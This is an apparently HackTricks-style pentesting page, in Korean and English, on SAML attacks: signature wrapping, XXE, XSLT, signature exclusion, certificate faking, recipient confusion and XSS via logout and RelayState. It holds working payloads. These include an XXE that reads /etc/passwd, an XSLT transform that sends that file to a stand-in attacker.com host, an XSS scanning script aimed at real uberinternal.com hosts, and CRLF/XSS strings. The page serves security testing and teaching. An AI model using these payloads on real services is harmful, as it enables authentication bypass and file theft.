SAML Attacks

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

SAML Basics

๋„๊ตฌ

SAMLExtractor: URL ๋˜๋Š” URL ๋ชฉ๋ก์„ ๋ฐ›์•„ SAML consume URL์„ ์ถœ๋ ฅํ•˜๋Š” ๋„๊ตฌ.

XML round-trip

XML์—์„œ๋Š” ์„œ๋ช…๋œ XML ๋ถ€๋ถ„์ด ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅ๋œ ๋’ค, ์ผ๋ถ€ ์ธ์ฝ”๋”ฉ/๋””์ฝ”๋”ฉ์ด ์ˆ˜ํ–‰๋˜๊ณ  ์„œ๋ช…์ด ๊ฒ€์ฆ๋ฉ๋‹ˆ๋‹ค. ์ด์ƒ์ ์œผ๋กœ๋Š” ๊ทธ ์ธ์ฝ”๋”ฉ/๋””์ฝ”๋”ฉ์ด ๋ฐ์ดํ„ฐ๋ฅผ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š์•„์•ผ ํ•˜์ง€๋งŒ, ํŠน์ • ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ๊ฒ€์ฆ๋˜๋Š” ๋ฐ์ดํ„ฐ์™€ ์›๋ณธ ๋ฐ์ดํ„ฐ๊ฐ€ ๋™์ผํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด์„ธ์š”:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

ํ”„๋กœ๊ทธ๋žจ์„ REXML 3.2.4 ๋˜๋Š” ์ด์ „ ๋ฒ„์ „์—์„œ ์‹คํ–‰ํ•˜๋ฉด ๋Œ€์‹  ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ถœ๋ ฅ์ด ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

And this is how it saw it after a round of parsing and serialization:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signatureโ€™s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signatureโ€™s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.

The following attacks ara based on this blog post and this paper. So check those for further details.

XSW #1

  • ์ „๋žต: Signature๋ฅผ ํฌํ•จํ•˜๋Š” ์ƒˆ ๋ฃจํŠธ ์š”์†Œ๊ฐ€ ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: validator๊ฐ€ ์ •๊ทœ Response -> Assertion -> Subject์™€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋งŒ๋“  evil new Response -> Assertion -> Subject๋ฅผ ํ˜ผ๋™ํ•˜์—ฌ ๋ฐ์ดํ„ฐ ๋ฌด๊ฒฐ์„ฑ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • XSW #1๊ณผ์˜ ์ฐจ์ด์ : enveloping signature ๋Œ€์‹  detached signature๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: XSW #1๊ณผ ์œ ์‚ฌํ•œ โ€œevilโ€ ๊ตฌ์กฐ๊ฐ€ ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ ์ดํ›„ business logic์„ ์†์ด๋ ค ํ•ฉ๋‹ˆ๋‹ค.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • ์ „๋žต: ์›๋ณธ Assertion๊ณผ ๋™์ผํ•œ ๊ณ„์ธต ์ˆ˜์ค€์— ์•…์„ฑ Assertion์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: business logic์ด ์•…์„ฑ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ํ˜ผ๋™์‹œํ‚ค๋ ค๋Š” ๋ชฉ์ ์ž…๋‹ˆ๋‹ค.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • XSW #3๊ณผ์˜ ์ฐจ์ด์ : ์›๋ณธ Assertion์ด ์ค‘๋ณต๋œ(evil) Assertion์˜ ์ž์‹์ด ๋ฉ๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: XSW #3๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ XML ๊ตฌ์กฐ๋ฅผ ๋” ๊ณต๊ฒฉ์ ์œผ๋กœ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • ๊ณ ์œ ํ•œ ํŠน์ง•: Signature๋„ ์›๋ณธ Assertion๋„ ํ‘œ์ค€ ๊ตฌ์„ฑ(enveloped/enveloping/detached)์„ ๋”ฐ๋ฅด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: ๋ณต์‚ฌ๋œ Assertion์ด Signature๋ฅผ ๊ฐ์‹ธ๋ฉด์„œ ๊ธฐ๋Œ€๋˜๋Š” ๋ฌธ์„œ ๊ตฌ์กฐ๋ฅผ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • ์ „๋žต: XSW #4 ๋ฐ #5์™€ ์œ ์‚ฌํ•œ ์œ„์น˜ ์‚ฝ์ž…์ด์ง€๋งŒ ๋ณ€ํ˜•์ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: ๋ณต์‚ฌ๋œ Assertion์ด Signature๋ฅผ ๊ฐ์‹ธ๊ณ , ๊ทธ Signature๊ฐ€ ๋‹ค์‹œ ์›๋ณธ Assertion์„ ๊ฐ์‹ธ๋Š” ์ค‘์ฒฉ๋œ ์†์ž„์ˆ˜ ๊ตฌ์กฐ๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • ์ „๋žต: Extensions ์š”์†Œ๋ฅผ ์‚ฝ์ž…ํ•˜๊ณ  ๊ทธ ์ž์‹์œผ๋กœ ๋ณต์‚ฌ๋œ Assertion์„ ๋‘ก๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: Extensions ์š”์†Œ์˜ ๋œ ์—„๊ฒฉํ•œ ์Šคํ‚ค๋งˆ๋ฅผ ์•…์šฉํ•˜์—ฌ ์Šคํ‚ค๋งˆ ๊ฒ€์ฆ ๋ฐฉ์–ด์ฑ…์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠนํžˆ OpenSAML ๊ฐ™์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ๋ฌธ์ œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • XSW #7๊ณผ์˜ ์ฐจ์ด์ : ๋œ ์—„๊ฒฉํ•œ ๋‹ค๋ฅธ XML ์š”์†Œ๋ฅผ ์ด์šฉํ•œ ๋ณ€ํ˜•์ž…๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: ์›๋ณธ Assertion์ด ๋œ ์—„๊ฒฉํ•œ ์š”์†Œ์˜ ์ž์‹์ด ๋˜์–ด XSW #7์—์„œ ์‚ฌ์šฉ๋œ ๊ตฌ์กฐ๋ฅผ ๋ฐ˜์ „์‹œํ‚ต๋‹ˆ๋‹ค.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

XXE

If you donโ€™t know which kind of attacks are XXE, please read the following page:

XXE - XEE - XML External Entity

SAML Responses are deflated and base64 encoded XML documents and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Hereโ€™s how such an attack can be visualized:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

๋„๊ตฌ

๋˜ํ•œ Burp ํ™•์žฅ SAML Raider๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ SAML ์š”์ฒญ์—์„œ POC๋ฅผ ์ƒ์„ฑํ•ด ์ž ์žฌ์ ์ธ XXE ๋ฐ SAML ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ฐ•์—ฐ๋„ ํ™•์ธํ•˜์„ธ์š”: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT๋ฅผ ํ†ตํ•œ SAML

For more information about XSLT go to:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT)๋Š” XML ๋ฌธ์„œ๋ฅผ HTML, JSON ๋˜๋Š” PDF์™€ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ํ˜•์‹์œผ๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ XSLT ๋ณ€ํ™˜์€ ๋””์ง€ํ„ธ ์„œ๋ช…์˜ ๊ฒ€์ฆ๋ณด๋‹ค ๋จผ์ € ์ˆ˜ํ–‰๋œ๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์œ ํšจํ•œ ์„œ๋ช…์ด ์—†์–ด๋„ ๊ณต๊ฒฉ์ด ์„ฑ๊ณตํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•˜๋ฉฐ, ์ž์ฒด ์„œ๋ช…๋œ ์„œ๋ช…์ด๋‚˜ ์ž˜๋ชป๋œ ์„œ๋ช…์œผ๋กœ๋„ ์ง„ํ–‰์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์—์„œ ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ์ทจ์•ฝ์ ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ POC๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ์„น์…˜ ์ดˆ๋ฐ˜์— ์–ธ๊ธ‰ํ•œ hacktricks ํŽ˜์ด์ง€์—์„œ payloads๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

๋˜ํ•œ Burp ํ™•์žฅ ๊ธฐ๋Šฅ SAML Raider๋ฅผ ์‚ฌ์šฉํ•ด SAML ์š”์ฒญ์œผ๋กœ๋ถ€ํ„ฐ POC๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์ž ์žฌ์ ์ธ XSLT ์ทจ์•ฝ์„ฑ์„ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜ ๋ฐœํ‘œ๋„ ํ™•์ธํ•˜์„ธ์š”: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion๋Š” Signature element๊ฐ€ ์—†์„ ๋•Œ SAML ๊ตฌํ˜„์ฒด์˜ ๋™์ž‘์„ ๊ด€์ฐฐํ•˜๋Š” ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด ์š”์†Œ๊ฐ€ ์—†์œผ๋ฉด signature validation may not occur, ์ทจ์•ฝํ•ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณดํ†ต signature๋กœ ๊ฒ€์ฆ๋˜๋Š” ๋‚ด์šฉ์„ ๋ณ€๊ฒฝํ•˜์—ฌ ์ด๋ฅผ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Tool

๋˜ํ•œ Burp ํ™•์žฅ ๊ธฐ๋Šฅ SAML Raider๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. SAML Response๋ฅผ ๊ฐ€๋กœ์ฑ„๊ณ  Remove Signatures๋ฅผ ํด๋ฆญํ•˜์„ธ์š”. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด all Signature elements๊ฐ€ ์ œ๊ฑฐ๋ฉ๋‹ˆ๋‹ค.

์„œ๋ช…์ด ์ œ๊ฑฐ๋œ ์ƒํƒœ์—์„œ ์š”์ฒญ์„ ๋Œ€์ƒ์— ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ Signature๊ฐ€ Service์—์„œ ์š”๊ตฌ๋˜์ง€ ์•Š๋Š”๋‹ค๋ฉด

Certificate Faking

Certificate Faking

Certificate Faking์€ Service Provider (SP)๊ฐ€ SAML Message๊ฐ€ ์‹ ๋ขฐ๋œ Identity Provider (IdP)์— ์˜ํ•ด ์„œ๋ช…๋˜์—ˆ๋Š”์ง€ ์ œ๋Œ€๋กœ ๊ฒ€์ฆํ•˜๋Š”์ง€ ํ…Œ์ŠคํŠธํ•˜๋Š” ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด๋Š” SAML Response๋‚˜ Assertion์— *self-signed certificate๋ฅผ ์‚ฌ์šฉํ•ด ์„œ๋ช…ํ•จ์œผ๋กœ์จ SP์™€ IdP ๊ฐ„์˜ ์‹ ๋ขฐ ๊ฒ€์ฆ ๊ณผ์ •์„ ํ‰๊ฐ€ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

How to Conduct Certificate Faking

๋‹ค์Œ ๋‹จ๊ณ„๋Š” SAML Raider Burp ํ™•์žฅ ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•œ ์ ˆ์ฐจ์ž…๋‹ˆ๋‹ค:

  1. SAML Response๋ฅผ ๊ฐ€๋กœ์ฑ•๋‹ˆ๋‹ค.
  2. ์‘๋‹ต์— ์„œ๋ช…์ด ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉด Send Certificate to SAML Raider Certs ๋ฒ„ํŠผ์„ ์‚ฌ์šฉํ•ด ์ธ์ฆ์„œ๋ฅผ SAML Raider Certs๋กœ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.
  3. SAML Raider Certificates ํƒญ์—์„œ ๊ฐ€์ ธ์˜จ ์ธ์ฆ์„œ๋ฅผ ์„ ํƒํ•˜๊ณ  Save and Self-Sign์„ ํด๋ฆญํ•˜์—ฌ ์›๋ณธ ์ธ์ฆ์„œ์˜ self-signed ๋ณต์ œ๋ณธ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  4. Burp์˜ Proxy์—์„œ ๊ฐ€๋กœ์ฑˆ ์š”์ฒญ์œผ๋กœ ๋Œ์•„๊ฐ‘๋‹ˆ๋‹ค. XML Signature ๋“œ๋กญ๋‹ค์šด์—์„œ ์ƒˆ๋กœ ์ƒ์„ฑํ•œ self-signed ์ธ์ฆ์„œ๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.
  5. Remove Signatures ๋ฒ„ํŠผ์œผ๋กœ ๊ธฐ์กด ์„œ๋ช…์„ ๋ชจ๋‘ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.
  6. ์ ์ ˆํ•˜๊ฒŒ (Re-)Sign Message ๋˜๋Š” (Re-)Sign Assertion ๋ฒ„ํŠผ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฉ”์‹œ์ง€๋‚˜ assertion์— ์ƒˆ ์ธ์ฆ์„œ๋กœ ์„œ๋ช…ํ•ฉ๋‹ˆ๋‹ค.
  7. ์„œ๋ช…๋œ ๋ฉ”์‹œ์ง€๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ์ธ์ฆ์ด ์„ฑ๊ณตํ•˜๋ฉด SP๊ฐ€ self-signed ์ธ์ฆ์„œ๋กœ ์„œ๋ช…๋œ ๋ฉ”์‹œ์ง€๋ฅผ ํ—ˆ์šฉํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋ฉฐ, ์ด๋Š” SAML ๋ฉ”์‹œ์ง€ ๊ฒ€์ฆ ๊ณผ์ •์— ์ž ์žฌ์  ์ทจ์•ฝ์ ์ด ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion ๋ฐ Service Provider Target Confusion์€ Service Provider๊ฐ€ ์‘๋‹ต์˜ ์˜๋„๋œ ์ˆ˜์‹ ์ž๋ฅผ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ฒ€์ฆํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ๊ณผ ๊ด€๋ จ๋ฉ๋‹ˆ๋‹ค. ๋ณธ์งˆ์ ์œผ๋กœ, Service Provider๋Š” ๋‹ค๋ฅธ provider๋ฅผ ์œ„ํ•ด ๋ฐœ๊ธ‰๋œ authentication response๋ฅผ ๊ฑฐ๋ถ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํ•ต์‹ฌ ์š”์†Œ๋Š” SAML Response์˜ SubjectConfirmationData ์š”์†Œ ๋‚ด์— ์žˆ๋Š” Recipient ํ•„๋“œ๋กœ, ์ด ํ•„๋“œ๋Š” Assertion์ด ์ „์†ก๋˜์–ด์•ผ ํ•˜๋Š” URL์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ์‹ค์ œ ์ˆ˜์‹ ์ž๊ฐ€ ์˜๋„๋œ Service Provider์™€ ์ผ์น˜ํ•˜์ง€ ์•Š์œผ๋ฉด Assertion์€ ๋ฌดํšจ๋กœ ๊ฐ„์ฃผ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

How It Works

SAML Token Recipient Confusion (SAML-TRC) ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋ ค๋ฉด ๋ช‡ ๊ฐ€์ง€ ์กฐ๊ฑด์ด ์ถฉ์กฑ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ฒซ์งธ, Service Provider(SP-Legit)์— ๋Œ€ํ•œ ์œ ํšจํ•œ ๊ณ„์ •์ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋‘˜์งธ, ๋Œ€์ƒ Service Provider(SP-Target)๊ฐ€ SP-Legit์™€ ๋™์ผํ•œ Identity Provider์—์„œ ๋ฐœ๊ธ‰ํ•œ ํ† ํฐ์„ ๋ฐ›์•„๋“ค์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด ์กฐ๊ฑด๋“ค์ด ์ถฉ์กฑ๋˜๋ฉด ๊ณต๊ฒฉ ๊ณผ์ •์€ ๋‹จ์ˆœํ•ฉ๋‹ˆ๋‹ค. ๊ณต์ธ๋œ ์„ธ์…˜์„ ๊ณต์œ  Identity Provider๋ฅผ ํ†ตํ•ด SP-Legit์—์„œ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. Identity Provider์—์„œ SP-Legit๋กœ ์ „์†ก๋œ SAML Response๋ฅผ ๊ฐ€๋กœ์ฑ•๋‹ˆ๋‹ค. ์ด ๊ฐ€๋กœ์ฑˆ SAML Response(์›๋ž˜ SP-Legit์šฉ)๋ฅผ SP-Target์œผ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ด ์„ฑ๊ณตํ•˜๋ฉด SP-Target์ด Assertion์„ ์ˆ˜๋ฝํ•˜์—ฌ SP-Legit์—์„œ ์‚ฌ์šฉํ•œ ๋™์ผํ•œ ๊ณ„์ • ์ด๋ฆ„์œผ๋กœ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

๋กœ๊ทธ์•„์›ƒ ๊ธฐ๋Šฅ์˜ XSS

์›๋ณธ ์—ฐ๊ตฌ๋Š” this link์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

directory brute forcing ๊ณผ์ •์—์„œ ๋‹ค์Œ ์œ„์น˜์—์„œ ๋กœ๊ทธ์•„์›ƒ ํŽ˜์ด์ง€๋ฅผ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

์ด ๋งํฌ์— ์ ‘์†ํ–ˆ์„ ๋•Œ ๋‹ค์Œ์œผ๋กœ ๋ฆฌ๋””๋ ‰์…˜๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

์ด๋ฅผ ํ†ตํ•ด base ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ URL์„ ํ—ˆ์šฉํ•œ๋‹ค๋Š” ๊ฒƒ์ด ๋“œ๋Ÿฌ๋‚ฌ๋‹ค. ์ด๋ฅผ ๊ณ ๋ คํ•˜์—ฌ URL์„ javascript:alert(123);๋กœ ๋Œ€์ฒดํ•ด XSS (Cross-Site Scripting) ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•ด๋ณด์ž๋Š” ์•„์ด๋””์–ด๊ฐ€ ๋– ์˜ฌ๋ž๋‹ค.

๋Œ€๊ทœ๋ชจ ์•…์šฉ

From this research:

The SAMLExtractor ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด uberinternal.com์˜ ์„œ๋ธŒ๋„๋ฉ”์ธ๋“ค์„ ๋™์ผํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋„๋ฉ”์ธ์ธ์ง€ ๋ถ„์„ํ–ˆ๋‹ค. ์ดํ›„ oidauth/prompt ํŽ˜์ด์ง€๋ฅผ ๊ฒจ๋ƒฅํ•œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๊ฐœ๋ฐœ๋˜์—ˆ๋‹ค. ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ์ถœ๋ ฅ์— ๋ฐ˜์˜๋˜๋Š”์ง€๋ฅผ ํ™•์ธํ•จ์œผ๋กœ์จ XSS (Cross-Site Scripting)๋ฅผ ํ…Œ์ŠคํŠธํ•œ๋‹ค. ์ž…๋ ฅ์ด ์‹ค์ œ๋กœ ๋ฐ˜์˜๋˜๋Š” ๊ฒฝ์šฐ ์Šคํฌ๋ฆฝํŠธ๋Š” ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ์ทจ์•ฝํ•œ ๊ฒƒ์œผ๋กœ ํ‘œ์‹œํ•œ๋‹ค.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

์ผ๋ถ€ SAML SSO ์—”๋“œํฌ์ธํŠธ๋Š” RelayState๋ฅผ ๋””์ฝ”๋“œํ•œ ํ›„ ์ •์ œ(sanitization) ์—†์ด ์‘๋‹ต์— ๋ฐ˜์‚ฌํ•ฉ๋‹ˆ๋‹ค. ๊ฐœํ–‰(newline)์„ ์ฃผ์ž…ํ•ด ์‘๋‹ต์˜ Content-Type์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” HTML์„ ๋ Œ๋”ํ•˜๋„๋ก ๊ฐ•์ œํ•˜์—ฌ reflected XSS๋ฅผ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
  • RelayState๊ฐ€ ์„œ๋ฒ„ ์ธก์—์„œ base64๋กœ ๋””์ฝ”๋“œ๋˜๋Š” ๊ฒฝ์šฐ์—๋„ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค: header/body injection์œผ๋กœ ๋””์ฝ”๋“œ๋˜๋Š” base64๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜ํ™”ํ•œ ์ ˆ์ฐจ:

  1. ๊ฐœํ–‰์œผ๋กœ ์‹œ์ž‘ํ•˜๋Š” header/body injection ์‹œํ€€์Šค๋ฅผ ๋งŒ๋“ค๊ณ , Content-Type์„ HTML๋กœ ๋ฎ์–ด์“ด ๋‹ค์Œ HTML/JS payload๋ฅผ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. ์‹œํ€€์Šค๋ฅผ URL-encodeํ•ฉ๋‹ˆ๋‹ค(์˜ˆ):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. ํ•ด๋‹น URL-encoded ๋ฌธ์ž์—ด์„ base64๋กœ ์ธ์ฝ”๋“œํ•˜๊ณ  RelayState์— ๋„ฃ์Šต๋‹ˆ๋‹ค.

Example base64 (from the sequence above):

